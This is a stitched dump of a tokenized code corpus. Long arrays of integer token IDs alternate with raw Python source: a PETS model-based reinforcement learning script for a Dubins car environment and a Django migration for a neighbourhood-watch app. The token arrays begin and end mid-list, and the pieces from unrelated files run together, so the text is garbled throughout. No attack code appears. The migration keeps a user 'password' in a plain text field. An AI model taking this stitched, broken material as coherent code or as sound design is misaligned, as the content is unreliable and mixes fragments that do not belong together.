29953,
29900,
29900,
29892,
29871,
29953,
29900,
29900,
29897,
13,
13,
1285,
473,
5612,
353,
325,
11178,
29889,
29894,
11178,
15988,
14927,
29954,
27026,
1323,
473,
1123,
26081,
580,
13,
1285,
473,
5612,
29889,
2577,
20261,
4854,
2141,
2697,
3306,
29898,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
29871,
396,
731,
2927,
304,
2654,
13,
13,
1285,
473,
8801,
353,
325,
11178,
29889,
29894,
11178,
1323,
473,
8801,
580,
13,
1285,
473,
8801,
29889,
2697,
4074,
7168,
29898,
1639,
7168,
29897,
13,
1285,
473,
8801,
29889,
2697,
1123,
26081,
29898,
1285,
473,
5612,
29897,
13,
1285,
473,
8801,
29889,
2951,
580,
13,
13,
1454,
1852,
297,
10876,
29889,
19218,
29901,
13,
1678,
565,
11663,
29657,
29908,
1275,
1852,
29901,
13,
4706,
640,
473,
8801,
29889,
2577,
2624,
4300,
29880,
1061,
2141,
15941,
4300,
18411,
29898,
13,
9651,
325,
11178,
29889,
29894,
11178,
6255,
29889,
8091,
3125,
10923,
2624,
29897,
13,
4706,
640,
473,
8801,
29889,
2577,
2624,
4300,
29880,
1061,
2141,
2697,
4300,
18411,
29898,
13,
9651,
325,
11178,
29889,
29894,
11178,
6255,
29889,
8091,
3125,
10923,
2624,
29892,
13,
9651,
325,
11178,
29889,
29894,
11178,
8801,
2624,
29889,
4300,
9632,
29897,
13,
1678,
25342,
11663,
17185,
29908,
1275,
1852,
29901,
13,
4706,
640,
473,
8801,
29889,
2577,
2624,
4300,
29880,
1061,
2141,
15941,
4300,
18411,
29898,
13,
9651,
325,
11178,
29889,
29894,
11178,
6255,
29889,
8091,
3125,
10923,
2624,
29897,
13,
4706,
640,
473,
8801,
29889,
2577,
2624,
4300,
29880,
1061,
2141,
2697,
4300,
18411,
29898,
13,
9651,
325,
11178,
29889,
29894,
11178,
6255,
29889,
8091,
3125,
10923,
2624,
29892,
13,
9651,
325,
11178,
29889,
29894,
11178,
8801,
2624,
29889,
17185,
29897,
13,
13,
13,
15926,
353,
325,
11178,
29889,
29894,
11178,
7713,
29891,
1469,
580,
13,
13,
9748,
353,
325,
11178,
29889,
29894,
11178,
20325,
580,
13,
9012,
353,
325,
11178,
29889,
29894,
11178,
4617,
2588,
580,
13,
13,
1454,
474,
297,
3464,
29898,
29900,
29892,
29871,
29906,
29896,
1125,
13,
1678,
10696,
353,
29871,
29906,
29889,
29900,
334,
5844,
29889,
1631,
334,
474,
847,
29871,
29906,
29900,
29889,
29900,
13,
1678,
3291,
29889,
17491,
5228,
29898,
29875,
29892,
29871,
29900,
29889,
29896,
334,
5844,
29889,
3944,
29898,
2521,
511,
13,
462,
4706,
29900,
29889,
29896,
334,
5844,
29889,
5223,
29898,
2521,
511,
29871,
29900,
29889,
29900,
29897,
13,
1678,
3454,
29889,
17491,
9190,
4617,
29898,
29875,
29897,
13,
13,
15926,
29889,
2697,
20325,
29898,
9748,
29897,
13,
15926,
29889,
2697,
20261,
29898,
9012,
29897,
13,
13,
1285,
473,
8801,
29889,
6644,
6646,
29898,
15926,
29892,
29871,
29896,
29897,
13,
1285,
473,
8801,
29889,
10716,
580,
13,
9482,
261,
29889,
27175,
20717,
580,
13,
9482,
5907,
29889,
10716,
580,
13,
13,
1639,
7168,
29889,
6644,
6646,
580,
13,
1639,
7168,
29889,
4763,
580,
13,
13,
1285,
473,
8801,
29889,
6880,
580,
13,
2
] |
playground/pets_dubins.py | pecey/mbrl-lib | 0 | 16788 | <gh_stars>0
import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
import torch
import omegaconf
import mbrl.env.continuous_dubins as dubins_env
import mbrl.env.reward_fns as reward_fns
import mbrl.env.termination_fns as termination_fns
import mbrl.models as models
import mbrl.planning as planning
import mbrl.util.common as common_util
import mbrl.util as util
def train_callback(_model, _total_calls, _epoch, tr_loss, val_score, _best_val):
train_losses.append(tr_loss)
val_scores.append(val_score.mean().item()) # this returns val score per ensemble model
def plot_graph(_axs, _frame, _text, _trial, _steps_trial, _all_rewards, force_update=False):
if not force_update and (_steps_trial % 10 != 0):
return
_axs.clear()
_axs.set_xlim([0, num_trials + .1])
_axs.set_ylim([0, 200])
_axs.set_xlabel("Trial")
_axs.set_ylabel("Trial reward")
_axs.plot(_all_rewards, 'bs-')
_text.set_text(f"Trial {_trial + 1}: {_steps_trial} steps")
if __name__ == "__main__":
mpl.rcParams.update({"font.size": 16})
device = 'cuda:0' if torch.cuda.is_available() else 'cpu'
noisy = False
seed = 0
env = dubins_env.ContinuousDubinsEnv(noisy)
env.seed(seed)
rng = np.random.default_rng(seed=seed)
generator = torch.Generator(device=device)
generator.manual_seed(seed)
obs_shape = env.observation_space.shape
act_shape = env.action_space.shape
# This functions allows the model to evaluate the true rewards given an observation
reward_fn = reward_fns.continuous_dubins
# This function allows the model to know if an observation should make the episode end
term_fn = termination_fns.continuous_dubins
trial_length = 200
num_trials = 10
ensemble_size = 5
# Everything with "???" indicates an option with a missing value.
# Our utility functions will fill in these details using the
# environment information
cfg_dict = {
# dynamics model configuration
"dynamics_model": {
"model": {
"_target_": "mbrl.models.GaussianMLP",
"device": device,
"num_layers": 3,
"ensemble_size": ensemble_size,
"hid_size": 200,
"use_silu": True,
"in_size": "???",
"out_size": "???",
"deterministic": False,
"propagation_method": "fixed_model"
}
},
# options for training the dynamics model
"algorithm": {
"learned_rewards": False,
"target_is_delta": True,
"normalize": True,
},
# these are experiment specific options
"overrides": {
"trial_length": trial_length,
"num_steps": num_trials * trial_length,
"model_batch_size": 32,
"validation_ratio": 0.05
}
}
cfg = omegaconf.OmegaConf.create(cfg_dict)
# Create a 1-D dynamics model for this environment
dynamics_model = common_util.create_one_dim_tr_model(cfg, obs_shape, act_shape)
# Create a gym-like environment to encapsulate the model
model_env = models.ModelEnv(env, dynamics_model, term_fn, reward_fn, generator=generator)
replay_buffer = common_util.create_replay_buffer(cfg, obs_shape, act_shape, rng=rng)
common_util.rollout_agent_trajectories(
env,
trial_length, # initial exploration steps
planning.RandomAgent(env),
{}, # keyword arguments to pass to agent.act()
replay_buffer=replay_buffer,
trial_length=trial_length
)
print("# samples stored", replay_buffer.num_stored)
agent_cfg = omegaconf.OmegaConf.create({
# this class evaluates many trajectories and picks the best one
"_target_": "mbrl.planning.TrajectoryOptimizerAgent",
"planning_horizon": 15,
"replan_freq": 1,
"verbose": False,
"action_lb": "???",
"action_ub": "???",
# this is the optimizer to generate and choose a trajectory
"optimizer_cfg": {
"_target_": "mbrl.planning.CEMOptimizer",
"num_iterations": 5,
"elite_ratio": 0.1,
"population_size": 500,
"alpha": 0.1,
"device": device,
"lower_bound": "???",
"upper_bound": "???",
"return_mean_elites": True
}
})
agent = planning.create_trajectory_optim_agent_for_model(
model_env,
agent_cfg,
num_particles=20
)
train_losses = []
val_scores = []
# Create a trainer for the model
model_trainer = models.ModelTrainer(dynamics_model, optim_lr=1e-3, weight_decay=5e-5)
# Create visualization objects
fig, axs = plt.subplots(1, 1, figsize=(14, 3.75))
ax_text = axs.text(300, 50, "")
# Main PETS loop
all_rewards = [0]
for trial in range(num_trials):
obs = env.reset()
agent.reset()
done = False
total_reward = 0.0
steps_trial = 0
while not done:
# --------------- Model Training -----------------
if steps_trial == 0:
dynamics_model.update_normalizer(replay_buffer.get_all()) # update normalizer stats
dataset_train, dataset_val = replay_buffer.get_iterators(
batch_size=cfg.overrides.model_batch_size,
val_ratio=cfg.overrides.validation_ratio,
train_ensemble=True,
ensemble_size=ensemble_size,
shuffle_each_epoch=True,
bootstrap_permutes=False, # build bootstrap dataset using sampling with replacement
)
model_trainer.train(
dataset_train, dataset_val=dataset_val, num_epochs=50, patience=50, callback=train_callback)
# --- Doing env step using the agent and adding to model dataset ---
next_obs, reward, done, _ = common_util.step_env_and_add_to_buffer(env, obs, agent, {}, replay_buffer)
obs = next_obs
total_reward += reward
steps_trial += 1
if steps_trial == trial_length:
break
all_rewards.append(total_reward)
env.save_trajectory(f"dubins_{trial}.png")
print(all_rewards)
plot_graph(axs, None, ax_text, trial, steps_trial, all_rewards, force_update=True)
# fig.savefig("dubins.png")
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
22889,
408,
286,
572,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
12655,
408,
7442,
13,
5215,
4842,
305,
13,
5215,
2703,
2442,
5527,
13,
13,
5215,
286,
1182,
29880,
29889,
6272,
29889,
20621,
681,
29918,
29881,
431,
1144,
408,
15416,
1144,
29918,
6272,
13,
5215,
286,
1182,
29880,
29889,
6272,
29889,
276,
1328,
29918,
29888,
1983,
408,
20751,
29918,
29888,
1983,
13,
5215,
286,
1182,
29880,
29889,
6272,
29889,
18821,
362,
29918,
29888,
1983,
408,
1840,
3381,
29918,
29888,
1983,
13,
5215,
286,
1182,
29880,
29889,
9794,
408,
4733,
13,
5215,
286,
1182,
29880,
29889,
572,
9450,
408,
18987,
13,
5215,
286,
1182,
29880,
29889,
4422,
29889,
9435,
408,
3619,
29918,
4422,
13,
5215,
286,
1182,
29880,
29889,
4422,
408,
3667,
13,
13,
13,
1753,
7945,
29918,
14035,
7373,
4299,
29892,
903,
7827,
29918,
29883,
4293,
29892,
903,
1022,
2878,
29892,
534,
29918,
6758,
29892,
659,
29918,
13628,
29892,
903,
13318,
29918,
791,
1125,
13,
1678,
7945,
29918,
6758,
267,
29889,
4397,
29898,
509,
29918,
6758,
29897,
13,
1678,
659,
29918,
1557,
2361,
29889,
4397,
29898,
791,
29918,
13628,
29889,
12676,
2141,
667,
3101,
29871,
396,
445,
3639,
659,
8158,
639,
21285,
1904,
13,
13,
13,
1753,
6492,
29918,
4262,
7373,
1165,
29879,
29892,
903,
2557,
29892,
903,
726,
29892,
903,
3626,
284,
29892,
903,
24530,
29918,
3626,
284,
29892,
903,
497,
29918,
276,
2935,
29892,
4889,
29918,
5504,
29922,
8824,
1125,
13,
1678,
565,
451,
4889,
29918,
5504,
322,
9423,
24530,
29918,
3626,
284,
1273,
29871,
29896,
29900,
2804,
29871,
29900,
1125,
13,
4706,
736,
13,
1678,
903,
1165,
29879,
29889,
8551,
580,
13,
1678,
903,
1165,
29879,
29889,
842,
29918,
29916,
2576,
4197,
29900,
29892,
954,
29918,
3626,
1338,
718,
869,
29896,
2314,
13,
1678,
903,
1165,
29879,
29889,
842,
29918,
29891,
2576,
4197,
29900,
29892,
29871,
29906,
29900,
29900,
2314,
13,
1678,
903,
1165,
29879,
29889,
842,
29918,
29916,
1643,
703,
29911,
9315,
1159,
13,
1678,
903,
1165,
29879,
29889,
842,
29918,
29891,
1643,
703,
29911,
9315,
20751,
1159,
13,
1678,
903,
1165,
29879,
29889,
5317,
7373,
497,
29918,
276,
2935,
29892,
525,
5824,
29899,
1495,
13,
1678,
903,
726,
29889,
842,
29918,
726,
29898,
29888,
29908,
29911,
9315,
426,
29918,
3626,
284,
718,
29871,
29896,
6177,
426,
29918,
24530,
29918,
3626,
284,
29913,
6576,
1159,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
286,
572,
29889,
2214,
9629,
29889,
5504,
3319,
29908,
5657,
29889,
2311,
1115,
29871,
29896,
29953,
1800,
13,
13,
1678,
4742,
353,
525,
29883,
6191,
29901,
29900,
29915,
565,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
580,
1683,
525,
21970,
29915,
13,
1678,
694,
13344,
353,
7700,
13,
13,
1678,
16717,
353,
29871,
29900,
13,
1678,
8829,
353,
15416,
1144,
29918,
6272,
29889,
1323,
8675,
681,
29928,
431,
1144,
21745,
29898,
1217,
13344,
29897,
13,
1678,
8829,
29889,
26776,
29898,
26776,
29897,
13,
1678,
364,
865,
353,
7442,
29889,
8172,
29889,
4381,
29918,
29878,
865,
29898,
26776,
29922,
26776,
29897,
13,
1678,
15299,
353,
4842,
305,
29889,
21575,
29898,
10141,
29922,
10141,
29897,
13,
1678,
15299,
29889,
11288,
29918,
26776,
29898,
26776,
29897,
13,
1678,
20881,
29918,
12181,
353,
8829,
29889,
26739,
362,
29918,
3493,
29889,
12181,
13,
1678,
1044,
29918,
12181,
353,
8829,
29889,
2467,
29918,
3493,
29889,
12181,
13,
13,
1678,
396,
910,
3168,
6511,
278,
1904,
304,
14707,
278,
1565,
337,
2935,
2183,
385,
15500,
13,
1678,
20751,
29918,
9144,
353,
20751,
29918,
29888,
1983,
29889,
20621,
681,
29918,
29881,
431,
1144,
13,
1678,
396,
910,
740,
6511,
278,
1904,
304,
1073,
565,
385,
15500,
881,
1207,
278,
12720,
1095,
13,
1678,
1840,
29918,
9144,
353,
1840,
3381,
29918,
29888,
1983,
29889,
20621,
681,
29918,
29881,
431,
1144,
13,
13,
1678,
14260,
29918,
2848,
353,
29871,
29906,
29900,
29900,
13,
1678,
954,
29918,
3626,
1338,
353,
29871,
29896,
29900,
13,
1678,
21285,
29918,
2311,
353,
29871,
29945,
13,
13,
1678,
396,
17296,
411,
376,
8773,
3026,
14088,
385,
2984,
411,
263,
4567,
995,
29889,
13,
1678,
396,
8680,
19725,
3168,
674,
5445,
297,
1438,
4902,
773,
278,
13,
1678,
396,
5177,
2472,
13,
1678,
274,
16434,
29918,
8977,
353,
426,
13,
4706,
396,
19753,
1904,
5285,
13,
4706,
376,
29881,
2926,
1199,
29918,
4299,
1115,
426,
13,
9651,
376,
4299,
1115,
426,
13,
18884,
11119,
5182,
29918,
1115,
376,
29885,
1182,
29880,
29889,
9794,
29889,
29954,
17019,
1988,
29925,
613,
13,
18884,
376,
10141,
1115,
4742,
29892,
13,
18884,
376,
1949,
29918,
29277,
1115,
29871,
29941,
29892,
13,
18884,
376,
24031,
29918,
2311,
1115,
21285,
29918,
2311,
29892,
13,
18884,
376,
29882,
333,
29918,
2311,
1115,
29871,
29906,
29900,
29900,
29892,
13,
18884,
376,
1509,
29918,
25590,
29884,
1115,
5852,
29892,
13,
18884,
376,
262,
29918,
2311,
1115,
376,
28772,
613,
13,
18884,
376,
449,
29918,
2311,
1115,
376,
28772,
613,
13,
18884,
376,
4801,
837,
262,
4695,
1115,
7700,
29892,
13,
18884,
376,
7728,
351,
362,
29918,
5696,
1115,
376,
20227,
29918,
4299,
29908,
13,
9651,
500,
13,
4706,
2981,
13,
4706,
396,
3987,
363,
6694,
278,
19753,
1904,
13,
4706,
376,
20567,
1115,
426,
13,
9651,
376,
1945,
9571,
29918,
276,
2935,
1115,
7700,
29892,
13,
9651,
376,
5182,
29918,
275,
29918,
4181,
1115,
5852,
29892,
13,
9651,
376,
8945,
675,
1115,
5852,
29892,
13,
4706,
2981,
13,
4706,
396,
1438,
526,
7639,
2702,
3987,
13,
4706,
376,
957,
24040,
1115,
426,
13,
9651,
376,
3626,
284,
29918,
2848,
1115,
14260,
29918,
2848,
29892,
13,
9651,
376,
1949,
29918,
24530,
1115,
954,
29918,
3626,
1338,
334,
14260,
29918,
2848,
29892,
13,
9651,
376,
4299,
29918,
16175,
29918,
2311,
1115,
29871,
29941,
29906,
29892,
13,
9651,
376,
18157,
29918,
3605,
601,
1115,
29871,
29900,
29889,
29900,
29945,
13,
4706,
500,
13,
1678,
500,
13,
1678,
274,
16434,
353,
2703,
2442,
5527,
29889,
5981,
16376,
29889,
3258,
29898,
16859,
29918,
8977,
29897,
13,
13,
1678,
396,
6204,
263,
29871,
29896,
29899,
29928,
19753,
1904,
363,
445,
5177,
13,
1678,
19753,
29918,
4299,
353,
3619,
29918,
4422,
29889,
3258,
29918,
650,
29918,
6229,
29918,
509,
29918,
4299,
29898,
16859,
29892,
20881,
29918,
12181,
29892,
1044,
29918,
12181,
29897,
13,
13,
1678,
396,
6204,
263,
330,
962,
29899,
4561,
5177,
304,
2094,
2547,
5987,
278,
1904,
13,
1678,
1904,
29918,
6272,
353,
4733,
29889,
3195,
21745,
29898,
6272,
29892,
19753,
29918,
4299,
29892,
1840,
29918,
9144,
29892,
20751,
29918,
9144,
29892,
15299,
29922,
27959,
29897,
13,
13,
1678,
337,
1456,
29918,
9040,
353,
3619,
29918,
4422,
29889,
3258,
29918,
276,
1456,
29918,
9040,
29898,
16859,
29892,
20881,
29918,
12181,
29892,
1044,
29918,
12181,
29892,
364,
865,
29922,
29878,
865,
29897,
13,
1678,
3619,
29918,
4422,
29889,
1245,
449,
29918,
14748,
29918,
3018,
622,
3842,
29898,
13,
4706,
8829,
29892,
13,
4706,
14260,
29918,
2848,
29892,
29871,
396,
2847,
3902,
12418,
6576,
13,
4706,
18987,
29889,
17875,
19661,
29898,
6272,
511,
13,
4706,
24335,
29871,
396,
13553,
6273,
304,
1209,
304,
10823,
29889,
627,
580,
13,
4706,
337,
1456,
29918,
9040,
29922,
276,
1456,
29918,
9040,
29892,
13,
4706,
14260,
29918,
2848,
29922,
3626,
284,
29918,
2848,
13,
1678,
1723,
13,
13,
1678,
1596,
14822,
11916,
6087,
613,
337,
1456,
29918,
9040,
29889,
1949,
29918,
303,
4395,
29897,
13,
13,
1678,
10823,
29918,
16859,
353,
2703,
2442,
5527,
29889,
5981,
16376,
29889,
3258,
3319,
13,
4706,
396,
445,
770,
6161,
1078,
1784,
23324,
3842,
322,
5839,
29879,
278,
1900,
697,
13,
4706,
11119,
5182,
29918,
1115,
376,
29885,
1182,
29880,
29889,
572,
9450,
29889,
5323,
622,
706,
20624,
326,
3950,
19661,
613,
13,
4706,
376,
572,
9450,
29918,
2015,
18162,
1115,
29871,
29896,
29945,
29892,
13,
4706,
376,
276,
9018,
29918,
29888,
7971,
1115,
29871,
29896,
29892,
13,
4706,
376,
369,
15828,
1115,
7700,
29892,
13,
4706,
376,
2467,
29918,
27728,
1115,
376,
28772,
613,
13,
4706,
376,
2467,
29918,
431,
1115,
376,
28772,
613,
13,
4706,
396,
445,
338,
278,
5994,
3950,
304,
5706,
322,
6755,
263,
23324,
706,
13,
4706,
376,
20640,
3950,
29918,
16859,
1115,
426,
13,
9651,
11119,
5182,
29918,
1115,
376,
29885,
1182,
29880,
29889,
572,
9450,
29889,
4741,
6720,
415,
326,
3950,
613,
13,
9651,
376,
1949,
29918,
1524,
800,
1115,
29871,
29945,
29892,
13,
9651,
376,
295,
568,
29918,
3605,
601,
1115,
29871,
29900,
29889,
29896,
29892,
13,
9651,
376,
7323,
2785,
29918,
2311,
1115,
29871,
29945,
29900,
29900,
29892,
13,
9651,
376,
2312,
1115,
29871,
29900,
29889,
29896,
29892,
13,
9651,
376,
10141,
1115,
4742,
29892,
13,
9651,
376,
13609,
29918,
9917,
1115,
376,
28772,
613,
13,
9651,
376,
21064,
29918,
9917,
1115,
376,
28772,
613,
13,
9651,
376,
2457,
29918,
12676,
29918,
295,
3246,
1115,
5852,
13,
4706,
500,
13,
1678,
5615,
13,
13,
1678,
10823,
353,
18987,
29889,
3258,
29918,
3018,
622,
706,
29918,
20640,
29918,
14748,
29918,
1454,
29918,
4299,
29898,
13,
4706,
1904,
29918,
6272,
29892,
13,
4706,
10823,
29918,
16859,
29892,
13,
4706,
954,
29918,
1595,
4027,
29922,
29906,
29900,
13,
1678,
1723,
13,
13,
1678,
7945,
29918,
6758,
267,
353,
5159,
13,
1678,
659,
29918,
1557,
2361,
353,
5159,
13,
13,
1678,
396,
6204,
263,
1020,
4983,
363,
278,
1904,
13,
1678,
1904,
29918,
3018,
4983,
353,
4733,
29889,
3195,
5323,
4983,
29898,
29881,
2926,
1199,
29918,
4299,
29892,
5994,
29918,
29212,
29922,
29896,
29872,
29899,
29941,
29892,
7688,
29918,
7099,
388,
29922,
29945,
29872,
29899,
29945,
29897,
13,
13,
1678,
396,
6204,
7604,
2133,
3618,
13,
1678,
2537,
29892,
4853,
29879,
353,
14770,
29889,
1491,
26762,
29898,
29896,
29892,
29871,
29896,
29892,
2537,
2311,
7607,
29896,
29946,
29892,
29871,
29941,
29889,
29955,
29945,
876,
13,
1678,
4853,
29918,
726,
353,
4853,
29879,
29889,
726,
29898,
29941,
29900,
29900,
29892,
29871,
29945,
29900,
29892,
20569,
13,
13,
1678,
396,
4241,
349,
2544,
29903,
2425,
13,
1678,
599,
29918,
276,
2935,
353,
518,
29900,
29962,
13,
1678,
363,
14260,
297,
3464,
29898,
1949,
29918,
3626,
1338,
1125,
13,
4706,
20881,
353,
8829,
29889,
12071,
580,
13,
4706,
10823,
29889,
12071,
580,
13,
13,
4706,
2309,
353,
7700,
13,
4706,
3001,
29918,
276,
1328,
353,
29871,
29900,
29889,
29900,
13,
4706,
6576,
29918,
3626,
284,
353,
29871,
29900,
13,
4706,
1550,
451,
2309,
29901,
13,
9651,
396,
448,
9072,
489,
8125,
26101,
448,
2683,
13,
9651,
565,
6576,
29918,
3626,
284,
1275,
29871,
29900,
29901,
13,
18884,
19753,
29918,
4299,
29889,
5504,
29918,
8945,
3950,
29898,
276,
1456,
29918,
9040,
29889,
657,
29918,
497,
3101,
29871,
396,
2767,
4226,
3950,
22663,
13,
13,
18884,
8783,
29918,
14968,
29892,
8783,
29918,
791,
353,
337,
1456,
29918,
9040,
29889,
657,
29918,
1524,
4097,
29898,
13,
462,
1678,
9853,
29918,
2311,
29922,
16859,
29889,
957,
24040,
29889,
4299,
29918,
16175,
29918,
2311,
29892,
13,
462,
1678,
659,
29918,
3605,
601,
29922,
16859,
29889,
957,
24040,
29889,
18157,
29918,
3605,
601,
29892,
13,
462,
1678,
7945,
29918,
24031,
29922,
5574,
29892,
13,
462,
1678,
21285,
29918,
2311,
29922,
24031,
29918,
2311,
29892,
13,
462,
1678,
528,
21897,
29918,
4204,
29918,
1022,
2878,
29922,
5574,
29892,
13,
462,
1678,
16087,
29918,
17858,
2667,
29922,
8824,
29892,
29871,
396,
2048,
16087,
8783,
773,
23460,
411,
16920,
13,
18884,
1723,
13,
13,
18884,
1904,
29918,
3018,
4983,
29889,
14968,
29898,
13,
462,
1678,
8783,
29918,
14968,
29892,
8783,
29918,
791,
29922,
24713,
29918,
791,
29892,
954,
29918,
1022,
2878,
29879,
29922,
29945,
29900,
29892,
282,
24701,
29922,
29945,
29900,
29892,
6939,
29922,
14968,
29918,
14035,
29897,
13,
13,
9651,
396,
11474,
1938,
292,
8829,
4331,
773,
278,
10823,
322,
4417,
304,
1904,
8783,
11474,
13,
9651,
2446,
29918,
26290,
29892,
20751,
29892,
2309,
29892,
903,
353,
3619,
29918,
4422,
29889,
10568,
29918,
6272,
29918,
392,
29918,
1202,
29918,
517,
29918,
9040,
29898,
6272,
29892,
20881,
29892,
10823,
29892,
24335,
337,
1456,
29918,
9040,
29897,
13,
13,
9651,
20881,
353,
2446,
29918,
26290,
13,
9651,
3001,
29918,
276,
1328,
4619,
20751,
13,
9651,
6576,
29918,
3626,
284,
4619,
29871,
29896,
13,
13,
9651,
565,
6576,
29918,
3626,
284,
1275,
14260,
29918,
2848,
29901,
13,
18884,
2867,
13,
13,
4706,
599,
29918,
276,
2935,
29889,
4397,
29898,
7827,
29918,
276,
1328,
29897,
13,
13,
4706,
8829,
29889,
7620,
29918,
3018,
622,
706,
29898,
29888,
29908,
29881,
431,
1144,
648,
3626,
284,
1836,
2732,
1159,
13,
1678,
1596,
29898,
497,
29918,
276,
2935,
29897,
13,
1678,
6492,
29918,
4262,
29898,
1165,
29879,
29892,
6213,
29892,
4853,
29918,
726,
29892,
14260,
29892,
6576,
29918,
3626,
284,
29892,
599,
29918,
276,
2935,
29892,
4889,
29918,
5504,
29922,
5574,
29897,
13,
1678,
396,
2537,
29889,
7620,
1003,
703,
29881,
431,
1144,
29889,
2732,
1159,
13,
2
] |
app/migrations/0001_initial.py | Jamesnduge/Hood-Watch | 0 | 138362 | <filename>app/migrations/0001_initial.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.17 on 2019-03-25 12:12
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import pyuploadcare.dj.models
import tinymce.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CustomUser',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('email', models.EmailField(blank=True, max_length=255, unique=True)),
('username', models.CharField(blank=True, max_length=255, null=True, unique=True)),
('password', models.CharField(max_length=255)),
],
options={
'verbose_name': 'user',
'verbose_name_plural': 'users',
},
),
migrations.CreateModel(
name='Authorities',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('authority_name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='images/')),
('email', models.EmailField(max_length=254)),
('contact', models.IntegerField()),
('authority_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Business',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('business_name', models.CharField(max_length=30, null=True)),
('image', models.ImageField(null=True, upload_to='images/')),
('description', tinymce.models.HTMLField()),
('contact', models.IntegerField()),
('business_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Health',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('health_name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='images/')),
('email', models.EmailField(max_length=254)),
('contact', models.IntegerField()),
('health_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Healthservices',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('healthservices', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Neighbourhood',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='hoods/')),
('neighbourhood_count', models.IntegerField(blank=True, default=0, null=True)),
],
),
migrations.CreateModel(
name='News',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('notification', tinymce.models.HTMLField()),
('pub_date', models.DateTimeField(auto_now_add=True)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
('neighbourhood_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')),
],
),
migrations.CreateModel(
name='Profile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('prof_pic', pyuploadcare.dj.models.ImageField(blank=True)),
('bio', tinymce.models.HTMLField()),
('neighbourhood', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')),
],
),
migrations.AddField(
model_name='health',
name='healthservices',
field=models.ManyToManyField(to='app.Healthservices'),
),
migrations.AddField(
model_name='health',
name='neighbourhood_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'),
),
migrations.AddField(
model_name='business',
name='neighbourhood_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='neighbourhoodbusiness', to='app.Neighbourhood'),
),
migrations.AddField(
model_name='business',
name='owner',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='business', to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='authorities',
name='neighbourhood_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'),
),
]
| [
1,
529,
9507,
29958,
932,
29914,
26983,
800,
29914,
29900,
29900,
29900,
29896,
29918,
11228,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
3251,
630,
491,
15337,
29871,
29896,
29889,
29896,
29896,
29889,
29896,
29955,
373,
29871,
29906,
29900,
29896,
29929,
29899,
29900,
29941,
29899,
29906,
29945,
29871,
29896,
29906,
29901,
29896,
29906,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
13,
13,
3166,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
29892,
4733,
13,
5215,
9557,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
13,
5215,
11451,
9009,
18020,
29889,
19776,
29889,
9794,
13,
5215,
27773,
962,
346,
29889,
9794,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
2847,
353,
5852,
13,
13,
1678,
9962,
353,
518,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
7281,
2659,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
4230,
29918,
7507,
742,
4733,
29889,
11384,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
26952,
29918,
978,
2433,
4230,
6464,
1495,
511,
13,
18884,
6702,
5269,
742,
4733,
29889,
9823,
3073,
29898,
19465,
29922,
5574,
29892,
4236,
29918,
2848,
29922,
29906,
29945,
29945,
29892,
5412,
29922,
5574,
8243,
13,
18884,
6702,
6786,
742,
4733,
29889,
27890,
29898,
19465,
29922,
5574,
29892,
4236,
29918,
2848,
29922,
29906,
29945,
29945,
29892,
1870,
29922,
5574,
29892,
5412,
29922,
5574,
8243,
13,
18884,
6702,
5630,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
